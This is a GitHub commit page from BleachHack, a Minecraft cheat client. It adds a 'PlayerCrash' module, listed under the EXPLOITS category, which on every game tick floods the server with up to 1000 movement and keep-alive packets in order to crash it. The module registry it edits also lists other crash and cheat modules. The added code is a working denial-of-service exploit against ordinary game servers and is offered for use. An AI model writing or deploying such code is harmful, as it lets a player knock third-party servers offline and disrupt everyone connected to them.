Skip to content

Commit

Permalink
afghanistan
Browse files Browse the repository at this point in the history
  • Loading branch information
BleachDev committed Dec 15, 2019
1 parent 59a1720 commit 0803e08
Show file tree
Hide file tree
Showing 3 changed files with 28 additions and 27 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,6 @@ public class ModuleManager {
new AutoSign(),
new AutoTotem(),
new BlockParty(),
new BoatCrash(),
new BookCrash(),
new BowBot(),
new ChestESP(),
Expand Down Expand Up @@ -47,6 +46,7 @@ public class ModuleManager {
new OffhandCrash(),
new PacketFly(),
new Peek(),
new PlayerCrash(),
new Scaffold(),
new Spammer(),
new Speed(),
Expand Down

This file was deleted.

Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
package bleach.hack.module.mods;

import com.google.common.eventbus.Subscribe;

import bleach.hack.event.events.EventTick;
import bleach.hack.gui.clickgui.SettingSlider;
import bleach.hack.module.Category;
import bleach.hack.module.Module;
import net.minecraft.server.network.packet.KeepAliveC2SPacket;
import net.minecraft.server.network.packet.PlayerMoveC2SPacket;

public class PlayerCrash extends Module {

public PlayerCrash() {
super("PacketCrash", -1, Category.EXPLOITS, "Uses cpacketplayer packets to packetify the server so it packets your packet and packs enough to crash",
new SettingSlider("Uses: ", 1,1000,100,0));
}

@Subscribe
public void onTick(EventTick event) {
for(int i = 0; i < getSettings().get(0).toSlider().getValue(); i++) {
mc.player.networkHandler.sendPacket(new PlayerMoveC2SPacket(Math.random() >= 0.5));
mc.player.networkHandler.sendPacket(new KeepAliveC2SPacket((int) (Math.random() * 8)));
}
}

}

0 comments on commit 0803e08

Please sign in to comment.